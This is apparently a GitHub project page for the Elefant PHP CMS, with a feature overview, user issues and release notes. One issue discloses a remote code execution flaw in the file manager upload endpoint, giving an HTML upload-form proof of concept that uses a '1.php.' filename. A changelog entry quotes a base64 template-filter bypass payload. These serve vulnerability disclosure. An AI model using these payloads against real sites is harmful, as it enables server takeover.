Elefant, the refreshingly simple PHP CMS and web framework.

Overview

Elefant CMS

Elefant is a refreshingly simple PHP content management system and web framework. Elefant is a fast, lean tool for building everything from simple websites to complete web applications.

Installation help & documentation

Elefant has extensive documentation including installation instructions, user manual, designer guides, and developer tutorials here:

You can also find help on our community forum here:

Built for designers

Compiled, ultra-fast templates

Elefant compiles your templates into secure, readable PHP code, so rendering is as fast as possible and also takes advantage of bytecode caching (e.g., APC).

Dead simple, concise template tags

Familiar syntax to other template languages, with some added conveniences for dynamic embeds and internationalization.

Clean, easy to use site editor for your users

Elefant comes out of the box with a full-featured CMS for your users. You can even white label it.

Syntax highlighted template and CSS editor

Sophisticated in-browser editing with highlights and references at your finger tips.

Live preview while editing templates and CSS

Preview in real time as you make changes. Or if you prefer, edit files directly with your editor of choice.

Integrates with 960 grid system and jQuery

Or any other CSS grid/layout system, giving you complete control over your designs. Theme builder also provides defaults for Twitter Bootstrap.

Built for developers

Quickly built custom apps

With all the tools you need, and a very low learning curve, Elefant gets you writing code quickly.

Extensively documented

Including full API reference, user manual, tutorials, and much more.

Strong security by default

Flexible form building, input validation, and automatic prevention of XSS, SQL injection, CSRF, and other types of attacks.

Very fast and low memory

Elefant uses less memory than any of the major frameworks, so you can serve more visitors with the same resources. Benchmarks: MVC layer, database access, and template rendering.

Solid debugging tools

Debug mode prints full traces with highlighted source code and variable state to help you fix bugs faster.

Minimalist HMVC/Model2 architecture

Elefant takes a unique but proven approach that helps minimize boilerplate without sacrificing code organization as your project grows.

Shared apps to save you time

From blogs to user management, events to search, Elefant saves you time not reinventing the wheel with high quality shared apps.

Thoroughly unit-tested

Elefant's core framework is covered by extensive unit tests, ensuring a stable base to build on.

Internationalization

Elefant apps are automatically i18n aware, with built-in multilingual capabilities and locale awareness.

More developer goodness

Elefant builds on over 12 years of PHP experience, and aims to simplify rapid PHP development again. As such, Elefant takes into consideration all the little details to help you work faster and better:

Try it out

Download the latest release here.

FAQ

Q. Do you know you spelt Elephant wrong?

A. This was my attempt at being hip and cool. No good?

Q. Isn't Elefant a bit of an oxymoron for a slim framework?

A. Why, yes. Yes it is.

Comments
  • Session-free CSRF prevention & NGINX fast-cgi cache

    Session-free CSRF prevention & NGINX fast-cgi cache

    Hi Jonny, This request contains 2 patches:

    1. The patch to remove session\cookie from CSRF prevention mechanism. This part is required by nginx fast-cgi cache modification (more pages can be cached ;).
    2. The patch to allow nginx to cache public pages. Mike
    opened by mmelnyk 16
  • Added toolbar editing

    Added toolbar editing

    Adapted the navigation editor and put some restrictions on the JS for intuitive (and more accurate) usage. If the user is allowed to edit the toolbar (via ACL), an edit link will appear (eithernext to the dropdown arrow or in the tools list dropdown , depending on whether there is a custom tools list available or not, respectively).

    Did a bit of code refactoring and cleanup as well.

    opened by techanon 15
  • Login Loop - Can't access admin

    Login Loop - Can't access admin

    I'm using iPage.com as my hosting provider. I've created a MySQL dB and connected everything through the installation wizard. Everything seems to be working except I can't access the admin area. When I log in, it takes me directly to my website (nathanieltite.com) and when I click "/Admin" it takes me back to the log in screen as if I haven't logged in. I've tried using incorrect credentials which elefant realizes and doesn't allow me any further. When I use correct credentials, it takes me back to the nathanieltite.com without loading an admin bar or anything. What a puzzler! Any input would be much appreciated thanks!

    opened by nathanieltite 10
  • Automatically select all uploaded files

    Automatically select all uploaded files

    This seems too simple, but it does work in my testing. I'm wondering if I'm leaving something out. I'm also wondering if there's any point to distinguishing between one upload and multiple (lines 363-373). Finally, I wonder if it should be optional behavior.

    opened by twheel 9
  • Page Navigation Not Working with IE9

    Page Navigation Not Working with IE9

    I'm on Windows 7 Ultimate. IE 9.0.8112.16421 Just completed a fresh install of ElefantCMS on Linux Ubuntu

    Steps to replicate:

    1. logged in as admin
    2. Went to Pages.
    3. Created New Page with id of 'test-page' and Title of 'Test Page'
    4. Placed one sentence in the body.
    5. Set the page layout to 'default'
    6. Set the access to 'public'
    7. Saved Page
    8. Went to Tools -> Navigation. Here I can see the Test Page (test-page) in Other Pages.
    9. I can drag the test-page over to the left side.
    10. As I drag-mouse-over the test-page to the "Home" page on the right. The test page icon changes from a red X to a green checkmark.

    The test page remains under the Home page, as expected, for as long as I remain on this page. However, if I leave this page and then come back, the test-page is no longer under this page. It is back on the right hand side, as if I hadn't done anything.

    When I follow the same steps using FireFox 11, I find the test-page remains under the home page, even if I leave the Tools -> Navigation page and come back. However, when I leave the test-page under the 'home' page on the right and then log out and login again with IE9, the test-page is not visible under the "home" page, nor is it visible under other pages. If I log out again and view Tools -> Navigation with FireFox 11, the test-page is under the 'home' page on the left as expected.

    bug 
    opened by mbcollins 9
  • ElefantCMS 2.2.7 has a Remote Code Execute Vulnerability

    ElefantCMS 2.2.7 has a Remote Code Execute Vulnerability

    Vulnerable path /apps/filemanager/handlers/upload/drop.php

    Vulnerable Codes

    Line 50 of the "drop.php" use a vulnerable black list, ".(php|phtml|pht|php3|php4|php5|phar|js|rb|py|pl|sh|bash|exe|htaccess|htpasswd)$/i", The ext ".php." has Remote Code Execute Vulnerability in the windows system .

    Line 61 of the "drop.php" use a vulnerable waf, because server is running under Windows system that does not allow to set the executable flag. code

    Vulnerability exploitation process:

    Log in "/admin",then find a token in the js of "filemanager/util/browser" and request "/filemanager/upload/drop". js poc:

    <html>
    <head>
    <meta charset="utf-8">
    </head>
    <body>
    <form action="[http://your ip/filemanager/upload/drop"](http://192.168.152.141/filemanager/upload/drop%22) method="post" enctype="multipart/form-data">
        <input type="file" name="file" value="1.php."><br>
        <input type="text" name="path" value="."><br>
        <input type="text" name="_token_" value="get it on the js"><br>
        <input type="submit" name="submit" value="submit">
    </form>
    </body>
    </html>
    

    poc You can exploit the vulnerability to execute remote code in the server. webshell

    opened by youyou-pm10 7
  • Check for updates in admin UI, upgrade utility in CLI tool

    Check for updates in admin UI, upgrade utility in CLI tool

    Would be good to be able to check for updates and install them through the admin panel, at least bug fix releases. The installer mechanism could be a starting point for applying the updates, but source files would need to be updated too which might mean increased permissions on files...

    Checking for updates could be done via an iframe + javascript so it doesn't affect the load of the admin toolbar.

    feature 
    opened by jbroadway 7
  • Responsive theme for new installs

    Responsive theme for new installs

    Suggestion: use skeleton or another lightweight, responsive theme for the default layout, replacing 960.css. Advantages: designs would work out of the box on small windows on laptops/desktops; it would mean we didn't need to detect mobile; and we could test responsive designs by resizing a browser window instead of having to upload/view on phone or spoof a mobile device.

    I'd be happy to submit a pull request reworking the default layout (changing grid_12, etc. to the equivalents).

    opened by twheel 5
  • Patch for blog comments embedding

    Patch for blog comments embedding

    This was a weird bug that took me a while to figure out that I had partially fixed it before. Apparently the embeds for comments (specifically the comments APP) was being sent the proper identifier value only part of the time. After scrubbing the code I noticed that index.php used the same method as postfeed.php, of which got fixed a few months ago. So I fixed that issue as well as removing the comments count link when the $post->full == true since that links to the same page (plus the count value doesn't auto update so it looks broken, lol).

    I also removed the post title from the identifier URL. The reason this was done was because of the fact that the title is a non-essential part of the post's URL to the blog, but WAS for the comment embeds. So different comments would show up for the same post depending on whether the title was in the URL or not. This has been fixed.

    (Feel free to ignore the extended field commits from a month ago, pushed them to the wrong branch lol)

    opened by techanon 5
  • Add Config options for File Manager/Browser and Navigation app Paths.

    Add Config options for File Manager/Browser and Navigation app Paths.

    Resubmitted as the conf/config.php file was missing - sorry!

    Allows the file used to store the Navigation app menu to be set by a configuration option:- In conf/config.php or the file set by ELEFANT_ENV :-

    [Navigation] json_file = /conf/mymenu.json

    will make Elefant use the menu data from mymenu.json instead of the default navigation.json.

    Also, allows the directory where Elefant stores files/images can be configured:- In conf/config.php or the file set by ELEFANT_ENV :-

    [FileManager] root = /myroot/

    will make Elefant use files/images from /myroot/ instead of the default /files.

    Needs testing of Aviary.com online (as opposed to private dev server).

    opened by gareththered 5
  • Website breaks without any major changes

    Website breaks without any major changes

    My website broke twice and I had to reinstall the cms twice. I didn't make any major changes and even tried to replace the files but nothing helps. It's a bug which shows file uploader in frontend. http://www.monarta.com/ please check.

    opened by arefbt 4
  • error unzipping

    error unzipping

    Hi, during unzipping: several errors 'path too long' (using default built-in unzip) When using 7zip it all goes well, but I think it's still worth mentioning... system: Win10 Pro 64 bit on Bootcamp

    opened by hansnijssen 1
  • New Composer Install of 2.2.6 have URL issues

    New Composer Install of 2.2.6 have URL issues

    To install I ran via SSHL composer create-project elefant/cms --stability=dev

    Then, I moved the contents of the mysite.com/cms folder to root (1 folder up) mysite.com

    I ran ./elefant permissions which then errored and said folder CSS didn't exist, so I ran mkdir css and ran the permissions command again and completed the installation steps as usual.

    The links at the end of the installation give you the option to go to admin. That link didn't work. mysite.com/admin Page doesnt work err_invalid_redirect

    Then, when I try logging in from the front page, I get routed to this url: https://user/

    Any ideas?

    *Just to update you...I installed 2.2.5 from the tar.gz download, extracted, uploaded, ran ./elefant permissions, had to make css dir and ran permissions command again and then installed. Admin Login link brought me to the correct page where it asked for my email address and password but then when you try to login, the err_invalid_redirect starts happening again. This page isn’t working right now mysite.com sent an invalid response. ERR_INVALID_REDIRECT

    When I type in mysite.com, I am logged in and can access admin tools. However, if I logout, I cannot get back in.

    opened by kreativmind 7
  • WYSIWYG editor should be collaborative

    WYSIWYG editor should be collaborative

    ProseMirror does collaborative editing. Switching to this, editing pages, blog posts etc. could show a separate coloured caret with associated thumbnails in a sidebar to see who's on the document. Then who has a lock on the page can go away, preventing lock-outs on editing some content.

    feature 
    opened by lux 1
  • Replace Adobe Creative SDK Image Editor (Aviary) with Toast UI Image Editor

    Replace Adobe Creative SDK Image Editor (Aviary) with Toast UI Image Editor

    Adobe is shutting their online image editor down with no migration path, so we need to replace that with an alternative. Toast UI's image editor is MIT licensed, so we should be safe from a company acquiring a product and shutting it down.

    https://github.com/nhnent/tui.image-editor

    opened by lux 0
Releases(v2.2.7-stable)
  • v2.2.7-stable(Feb 4, 2022)

    Improvements

    • Added optional default value to Cache::get(), supported by Redis and filesystem backends
    • Added conf/workers.php worker definition file and ./elefant start-workers command to start them
    • Added make worker to build a new elefant-worker Docker container image
    • Added example background worker script in apps/jobqueue/handlers/worker.php
    • Added Beanstalkd and a worker container to the docker compose setup
    • Converted docker compose setup to use MariaDB since it has an arm64-compatible image
    • Removed explicit container names from docker compose for easier multi-site use

    Bug fixes

    • Updated CodeMirror dependency to fix Github security alert
    • Fixed static variable reference in Model::get() error handling
    • Defined $i18n->default so it's explicit, instead of implicit from correct config
    • Added check for SubfolderException class existence to remove warning in $controller->quit()
    • Fixed internal variable name in $controller->status_code()
    • Fixed Template tests for recent addition of $tpl->default_filter and optional 3rd $label parameter
    • Added Apache headers module to fix access to the files folder
    • Fixed end quote parsing error in blog\CsvParser
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_6_stable(Sep 7, 2021)

    Column layouts

    This feature builds on the recent improvements to the blocks/group handler and adds the ability to define column layouts for each content row when row=on is set.

    To try it out, add the following to your layout template:

    {! blocks/group?wildcard=[id]-*&rows=on !}
    

    This tag turns a page into an expandable set of rows of content blocks, which can now also contain up to 5 columns of content.

    You'll see a new Content Layout button next to the up/down arrows in the block edit buttons. The buttons in the first column now control the properties for the entire row, and each column now has its own edit button too.

    Screen Shot 2021-01-07 at 9 21 58 PM

    When you click this new button, or when you click the Add Block button to add another row of content, you'll be shown the following options for content layouts:

    Screen Shot 2021-01-07 at 9 12 18 PM

    The layout can also be modified through the block add/edit forms sidebar:

    Screen Shot 2021-01-07 at 9 15 11 PM

    And finally, you can tab between the rows just above the wysiwyg editor, so you can edit an entire row from the same form:

    Screen Shot 2021-01-07 at 9 16 31 PM

    Docker support

    Elefant now includes Docker configurations for building production and development containers, as well as a docker-compose file for spinning up a complete development environment in a single command which includes a MySQL database and Redis-backed caching.

    To build a production container from a fresh clone of the Elefant repository, run:

    $ make build
    

    This will build a container named elefant. Similarly, you can build a development container via:

    $ make dev
    

    This will build a container named elefant-dev.

    To spin up a development environment (after running make dev), run:

    $ make run
    

    And to shut it down, run:

    $ make down
    

    Take a look at the included docker-compose.yml and .docker/* files for more info.

    Other improvements

    • Added ELEFANT_DEFAULT_PASS environment variable for ./elefant install command line installer
    • When you change the ID of a page that uses blocks/group as shown above, Elefant will update the block IDs so they don't become unlinked from the page
    • You can now load scripts asynchronously via $page->add_script ('/apps/myapp/js/script.js', 'async')
    • Updated CSRF validation to use sha256 and to use separate expiring tokens per request URI
    • Added User::error() to get the underlying reason for an authentication failure (e.g.,incorrect credentials, too many tries, database error)
    • Added pretty printing of JSON output in ./elefant api/get and ./elefant api/post command output
    • Added setting to opt-out of FLoC tracking under Site Settings, with the opt-out enabled by default
    • Added |comma filter to template variables, which outputs the value followed by a comma only if the value isn't empty

    Bug fixes

    • Ensure block list in blocks/group is always an array to prevent errors
    • Auto-update wildcard block IDs when page IDs change
    • Fixed jGrowl's missing source map
    • Fixed error in ./elefant permissions command due to missing folder
    • Remove uploaded files from cache after import in blog app (Wordpress, Blogger, CSV)
    • File manager strips .php, .phtml, and .ht* files from unzipped folders for improved security
    • Prevent using base64 encoding to bypass function filter in designer app (e.g., {{base64_decode('cGhwaW5mbw==')()}})
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_5_stable(Nov 19, 2020)

    Improvements

    • Added ELEFANT_SITE_NAME, ELEFANT_EMAIL_FROM, and ELEFANT_DOMAIN environment variables
    • Added Envconf as Appconf wrapper that checks for the existence of environment variables
    • Added envconf() wrapper around conf() that also checks for the existence of environment variables
    • Added Model::prefetch_field($id_list, $fieldname) to reduce database calls on repeat uses of Model::field()
    • Added exception handling to Redis cache connection failures
    • Added example setup of blocks stylesheet in the default theme under layouts/minimal/blocks.css

    Bug fixes

    • Fixed forms not submitting when skip_if_empty is specified but the field isn't found in the HTML of the form
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_4_stable(Sep 27, 2020)

    Introducing JobQueue

    This update adds a new JobQueue class which is powered by Pheanstalk/Beanstalkd. This makes it very easy to setup background workers and send tasks to them for processing.

    Setup

    To set it up, install Beanstalkd via your package manager of choice (apt/yum/brew/port), for example:

    $ apt install beanstalkd
    

    Next, after upgrading Elefant to 2.2.4, run Composer update from the root directory of your website to install the Pheanstalk library:

    $ cd /path/to/www && composer update
    

    Lastly, edit the [JobQueue] settings in your conf/config.php file to point to your Beanstalkd server:

    [JobQueue]
    
    backend = beanstalkd
    host = 127.0.0.1
    port = 11300
    

    Usage

    Sending a job to be done by a background worker is as easy as:

    JobQueue::enqueue ('tube-name', ['data' => '...']);
    

    Writing a worker in Elefant looks like this:

    <?php // apps/myapp/handlers/worker.php
    
    if (! $this->cli) exit;
    
    $page->layout = false;
    
    $worker = JobQueue::worker ();
    
    $worker->watch ('tube-name');
    
    while ($job = $worker->reserve ()) {
        $data = json_decode ($job->getData ());
    
        // Process job with $data
    
        $worker->delete ($job);
    }
    

    The above worker can be run via php index.php myapp/worker and can be initialized using your system scheduler, such as systemd.

    Note that workers can be written in any language that connects to Beanstalkd and listens for jobs to process.

    Other improvements

    • Added User::require_verification() which extends User::require_login() to require email verification too
    • Added Auto-include Composer autoloader to Site Settings form so you no longer need to include it manually in a bootstrap.php file

    Bug fixes

    • Fixed blog post slugs changing back to their default values
    • Fixed upgrades missing schema changes for in-between versions
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_3_stable(Aug 24, 2020)

    • Added $this->get_params() method to Restful for easier input parameter parsing and validation
    • Added ability to select from custom CSS styles for blocks/group rows 1
    • Marked all Elefant-related cookies with SameSite=Lax
    • Changed $cache->delete() to use unlink() for async deletions on newer versions of phpredis
    • Improved display and usability of tables in the wysiwyg editor
    • Fixed MySQL error at text field with default value
    • Fixed custom site styles affecting the Elefant toolbar heading colours and embedded button styles

    1. The block editor first looks for a layouts/your-theme/blocks.css file, otherwise it reads all layouts/your-theme/*.css files, and finds all styles using the form .block-outer.custom-class-name. It then turns all unique custom classes found into selectable style options in a dropdown list.

    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_2_stable(Jul 11, 2020)

    • Changed default theme to encourage shorter form of {! blocks !} tag use in layouts/minimal/inc/body.html
    • Fixed error in blog post preview if thumbnail isn't set
    • Fixed the version numbers in the installer that caused upgrade notices to appear incorrectly
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_1_stable(Jul 1, 2020)

    • Content Blocks:
      • Updated add/edit block forms to match page and blog forms
      • Added background image field to blocks
      • Added background image support to {! blocks/group !} helper
      • Added "Blocks: Group" to the Dynamic Objects menu so blocks can be embedded into any page or blog post
      • Added wildcard and rows parameters to blocks/group helper (usage: {! blocks/group?wildcard=[id]-*&rows=on !} which outputs all blocks with the pattern $page->id . '-*' as full-width editable blocks, in ascending order by block ID)
      • When rows is set, blocks can now be reordered on the page with up/down arrows
      • Fixed deleting a block not redirecting back to the page it was on
    • Social sharing
      • Added default thumbnail setting to Site Settings which is used in Open Graph and Twitter Card meta tags
      • Blog homepage now also sets Open Graph and Twitter Card meta tags
    • Usability
      • Added a search bar to the file manager which does a case-insensitive recursive search for any matching file or folder names.
      • Added page IDs to the navigation admin page so it's easier to distinguish between similarly-named pages when editing your site navigation
      • Added file names to the file browser dialog window so it's easier to distinguish between similar images when making a selection
      • Increased the size of the file browser dialog window and other usability improvements
      • Added Alt+E quick key to toggle the admin toolbar open and closed
      • Updated Google Fonts link in default theme to support https
    • Framework
      • Added opcache.preload support for speeding up websites on PHP 7.4+ via a new preload.php in the project root
      • Added select(), reset() and fields() methods to base Model class for more flexible query building
      • Added $_json_flags property to ExtendedModel for specifying json_encode() flags when encoding extended model data
      • Improved error checking in DB::shift() method
      • Added ability to override Template's default template filter via the $default_filter property which defaults to Template::sanitize
      • Added ability to defer included scripts via $page->add_script ('/path/to/script.js', 'defer')
      • Fixed deprecation warnings in markdown parser in PHP 7.4
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_2_0_stable(May 30, 2020)

    • Redesigned web page and blog post edit forms
    • Added thumbnail field to web pages to match blog posts
    • Added site-wide default thumbnail setting
    • Added editable permalink, meta description and keywords to blog posts
    • Automatically adds Open Graph and Twitter card tags to web pages
    • Updated CSV importer with keywords and description fields
    • Added $lock_level parameter to Model() for exclusive or shared locks
    • Fixed 'Back to Edit Mode' icon
    • Added Model->where_in('key', []) convenience method
    • Updated emojionearea to latest version (3.4.1) and added integrity check
    • Updated twemoji to latest version (12.1.5) and added integrity check
    • Updated pager to support larger numbers
    • Removed the need for the PHP calendar extension in the blog app
    • Improved blog archive queries
    • Generalized CSS for admin edit forms to improve consistency across forms
    • Added PHP 7.4 to travis-ci config and retired versions below 7.2
    • Added ./elefant api/get and api/post commands for easier API endpoint testing
    • Fixed API changes in embedded file browser
    • Allow dots in file name validator
    • Fixed console error when cancelling file rename or deletion
    • Using hash_equals() for passwords
    • Improved version history with titles and links back to edit forms
    • Fixed group by error in version history in newer versions of MySQL
    • Log API errors to the console for easier debugging
    • Made read-only /api/v1/* endpoints public so Elefant can be used as a headless CMS
    • Added issue date and expiry of API tokens without deletion via ./elefant api/expire-token <token>
    • Reduced the number of database queries used in the admin toolbar
    • Added lib to restrictions in sample nginx.conf
    • Removed deprecated methods used in FrontController for backwards compatibility
    • Ensure zlib compression is off in cli usage
    • Improved exception handling in cli usage
    • Improved redirections on saving pages and blog posts
    • Removed outdated version of jQuery
    • Admin toolbar requires a click to open now, to prevent it getting in the way
    • Added confirmation for overwriting existing files
    • Added button to clear existing thumbnails
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_10_stable(Nov 10, 2019)

    • "Images: Before/After" option was added to Dynamic Objects, powered by BeerSlider
    • Added Model::delete() method to build delete statements using Model::query() chains
    • Added webfeeds cover image to blog RSS output
    • Consistency fix for +() characters in HMAC auth, since some clients encode differently
    • Updated tests for PHPUnit 8
    • Updated URLify plugin
    • Record error to console if a visible notice isn't present for a form validation error
    • Added subresource integrity parameters to Page::add_script() and Page::add_style() to set integrity and crossorigin attributes
    • Removed references to Aviary editor and Persona auth
    • Added JSON Feed support to the blog
    • Added Media RSS support to the blog
    • Added SameSite support for CSRF protection for PHP 7.3+ users
    • Added Form::failed() convenience method
    • Only load lib/vendor/autoload.php if it exists
    • Deny all requests to /lib/*
    • Switched file manager endpoints to passing file parameter explicitly instead of inferring from the path
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_9_stable(Apr 7, 2019)

    Security update

    Updated the Apache .htaccess settings and Nginx example configuration to more securely handle files uploaded through the file manager.

    Note: Nginx users should copy the following new lines into their server{} block in their Nginx configuration and restart Nginx to apply the update:

    location ~ ^/files/.*\.(?!(gif|jpe?g|png|mp4|pdf))$ {
    	add_header Content-disposition "attachment";
    }
    

    It was also discovered that file extension limits weren't being verified when renaming files, which has been fixed too.

    Search improvements

    We've made some big improvements to the search bar for Web Pages, Blog Posts, and Accounts. This also affects Model::where_search(), improving other instances of it as well.

    You can now use "quoted text" in searches to search for literal phrases that include spaces.

    You can also use -word to omit words from your search. Combined, these improvements give users a lot more flexibility in how they can query their data.

    Other improvements

    • Password recovery page can be overridden with a custom handler.
    • Added a new |absolutize template filter (usage: {url|absolutize}) to ensure URLs are absolute.
    • Added conf/envmap.php to map alternate environment variables and to Elefant's own.

    Bug fixes

    • Fixed an issue deleting files.
    • Fixed empty searches in Model::where_search().
    • Fixed consistency of HMAC to prefer + instead of %20.
    • Fixed potential error in blog post parsing.
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_8_stable(Dec 9, 2018)

    Improvements:

    • I18n filters now accept DateTime objects in addition to date strings
    • Added Form::generate_csrf_token() for custom use cases
    • Minimal grid supports every column size increment of 5%
    • Image::resize() defaults to auto-detecting the correct format
    • Access control on WYSIWYG editor plugins so the editor can still be used by non-admins
    • Updated Google OAuth2 login support and added Google auth credentials to user settings form
    • Added admin/util/select-buttons helper to convert select boxes to button groups
    • Let users set jquery_source = Off to disable jQuery completely on the front-end
    • Force jQuery source to be local if admin
    • Admin toolbar and admin area usability improvements
    • Added admin/modal template for admin pages in frames
    • Upgraded URLify to version 1.1.2-stable
    • Upgraded Analog to version 1.0.11-stable

    Bug fixes:

    • Fixed error marking file manager app upgraded
    • Fixed exception in admin toolbar template
    • Removed PHP 5.3 from travis-ci config, fixed PHPUnit issues on travis-ci
    • Fixed issue with dollar signs in some database passwords
    • Fixed warning on templates not always quoting array keys
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_7_stable(Sep 11, 2018)

    Security updates:

    • Fixed remote execution in file manager (#287)
    • Fixed remote execution in stylesheet editor (#286)

    Improvements:

    • Added "Now" button next to date field in blog posts

    Bug fixes:

    • Fixed open graph image dimension tags
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_6_stable(Sep 5, 2018)

    Improvements:

    • Added emoji support to page titles and descriptions, block titles, and blog post titles
    • Added one-click Bitly link generator to file manager
    • Revamped Elefant backend UI with larger inputs, buttons, and spacing for improved usability
    • Updated minimal-grid.css to accommodate wider screen widths
    • Added og:image:width and og:image:height Open Graph tags to blog posts
    • Added I18n::short_date_year_time filter for short dates including years + times

    Bug fixes:

    • Fixed timecodes in embedded YouTube videos
    • Fixed upload validation error in filemanager/util/browser
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_5_stable(Aug 27, 2018)

    • Additional CSRF protection on uploads and other forms
    • Fixed pager on on user chooser widget for sites with thousands of users
    • Added first/last page buttons to user chooser and dynamic objects widgets
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_4_stable(Aug 22, 2018)

    Security updates:

    • Fixed url decoding happening after validation on some file uploads
    • Increased restrictions in htaccess files
    • Added .phtml, .pht, .php3, .php4, and .phar to restricted uploads
    • Limit profile photo uploads to .jpg and .png
    • Verify .csv and .vcf user imports

    Improvements:

    • Added responsive embed code for YouTube videos
    • Added superscript button to wysiwyg editor
    • Added social/cookienotice helper for cookie law compliance
    • Added .e-col-15 to minimal-grid.css
    • Added $.recenter_modal() to modal.js and auto-resize on window resize
    • Close modal dialogs by clicking away
    • User ID from API tokens is now available via user\Auth\HMAC::$user_id
    • Added --no-symbols option to ./elefant generate-password
    • Allow $page->add_style() with ?v= appended to stylesheet links for cache busting
    • Added month limit to blog archives sidebar
    • Re-enabled caching on blog archives sidebar

    Bug fixes:

    • Fixed thumbnail preview in blog edit form
    • Fixed potentially skewed profile photos in accounts
    • Fixed validation errors in RSS output
    • Admins should be able to preview scheduled posts
    • Fixed admin toolbar not correctly fetching list of apps
    • Fixed use of undefined constant in admin toolbar
    • Strip script and style tags from open graph post descriptions
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_3_stable(Jan 25, 2018)

    Changes:

    • Added 'Twitter: Tweet This' option to Dynamic Objects menu to display tweetable quotes in posts and pages.
    • Improved HMAC validation by making data lowercase to avoid urlencoding differences in other programming languages.
    • Added client-side validation to filetype validation rule.
    • Added Facebook Pixel tracking support.
    • Upgraded MediaElement video player to version 4.2.7
    • Added new fcallback input validation rule to validate file uploads with a callback (e.g., to validate file contents)
    • Added 'Video GIF (MP4)' option to Dynamic Objects for mp4 videos as gifs (autoplays, loops, muted, and no player controls)

    Fixes:

    • Fixed an error cancelling forms.
    • Fixed image size ratio differences in blog sidebar thumbnails.
    Source code(tar.gz)
    Source code(zip)
  • elefant_2_0_2_stable(Oct 16, 2017)

  • elefant_2_0_1_stable(May 24, 2017)

  • elefant_2_0_0_stable(Apr 6, 2017)

  • elefant_1_3_14_rc(Sep 27, 2016)

    Minor fix to fall back to HTTP_HOST on sites without a domain name set, but print a warning to the error log to set it in Administration > Site Settings.

    Source code(tar.gz)
    Source code(zip)
  • elefant_1_3_13_rc(Sep 26, 2016)

    • A number of core settings can now be set via environment variables, to work better with container environments.
    • Numerous security improvements to help prevent XSS, CSRF, and other input validation errors.
    • Added support for sharingbuttons.io via social/sharingbuttons helper for fast loading social icons.
    • Added file browser to the link dialog in the WYSIWYG editor.
    • Added transition effects to slideshows, and other slideshow improvements.
    • Improved blogger.com blog importer.
    • Misc other fixes and improvements.
    Source code(tar.gz)
    Source code(zip)
  • elefant_1_3_12_rc(Oct 2, 2015)

  • elefant_1_3_11_rc(Sep 6, 2015)

  • elefant_1_3_10_beta(Dec 4, 2014)

    Fixes an XSS vulnerability in user profiles. Also contains substantial improvements across the board, including a much-improved admin toolbar, blogging improvements, admin search on pages, members, blog posts, and a number of helpers and improvements for developers. This release also coincides with the relaunch of the Elefant website, and will likely be the last beta before a release candidate of Elefant 2. While this still says beta, it is highly recommended over the 1.2 series.

    Source code(tar.gz)
    Source code(zip)
  • elefant_1_3_9_beta(Mar 2, 2014)

  • elefant_1_3_8_beta(Feb 28, 2014)

  • elefant_1_3_7_beta(Feb 27, 2014)

  • elefant_1_3_6_beta(Oct 16, 2013)

Owner
Aband*nthecar
Full-stack developer. One-man synthpop band. CTO/Co-Founder @ HeyAlfa + Flipside XR.
Aband*nthecar
Amila Laravel CMS - Free, open-source Simple Bootstrap Laravel CMS

Simple Bootstrap Laravel CMS. Support Laravel 8.x Can integrate into any existing Laravel project. Only add few database tables with prefixes, not affect your existing database tables. Support Laravel 7.x & Laravel 6.x & Laravel 5.x & MySql & PostgreSql - Amila Laravel CMS

Alex Zeng 96 Sep 6, 2022
Baicloud CMS is a lightweight content management system (CMS) based on PHP and MySQL and running on Linux, windows and other platforms

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

null 5 Aug 15, 2022
GetSimple CMS - a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP

GetSimple CMS is a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP.

null 370 Dec 30, 2022
Bootstrap CMS - PHP CMS powered by Laravel 5 and Sentry

Bootstrap CMS Bootstrap CMS was created by, and is maintained by Graham Campbell, and is a PHP CMS powered by Laravel 5.1 and Sentry. It utilises many

Bootstrap CMS 2.5k Dec 27, 2022
Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS

Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS. Building this Content Management System, we focused on simplicity. To achieve this, we implemented a simple but powerful API's.

Flextype 524 Dec 30, 2022
NukeViet 132 Nov 27, 2022
CMS and high level framework created with Phalcon framework

KikCMS This video will show you the general UX used for the KikCMS and DataTables created inside the CMS

Kaz 51 Oct 7, 2022
PHPVibe Open source video CMS / Video Sharing CMS / Youtube Api v3 / Video Embeds

PHPVibe Video CMS Free Video Sharing CMS The modern choice of design inspired by Youtube and a social videos sharing module that may just cut it for y

MediaVibe 71 Dec 18, 2022
Doptor CMS is a Laravel 5 based CMS

Introduction Doptor CMS is a Laravel 5 based CMS. Find out more about Doptor by reading below. ;) About Doptor CMS Doptor is an Integrated and well-de

DOPTOR 4 Sep 11, 2022
Bismuth CMS is a ready-made Website CMS based on Yii 2 Advance Template

Bismuth CMS is a ready-made Website CMS based on Yii 2 Advance Template, it's the simplest and easy to set up CMS you may come across.

Hamadas Telebrain 1 Feb 11, 2022
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond.

About Craft CMS Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. It features: An intuitive, user-

Craft CMS 2.9k Jan 1, 2023
Origin CMS for Laravel to kickstart your web applications

Installation git clone -b master https://github.com/akhileshdarjee/origin-cms.git Update new git project URL composer install cp .env.example .env php

Akhilesh Darjee 8 May 11, 2022
REDAXO, a PHP-based CMS since 2004. Both simple and flexible.

?? Deutsch Content Management since 2004. Both simple and flexible. REDAXO provides you an easy-to-learn website framework. It lets you create content

REDAXO CMS c/o Yakamara Media GmbH & Co. KG 302 Jan 8, 2023
Self-hosted CMS platform based on the Laravel PHP Framework.

October is a Content Management System (CMS) and web platform whose sole purpose is to make your development workflow simple again. It was born out of

October CMS 10.8k Jan 4, 2023
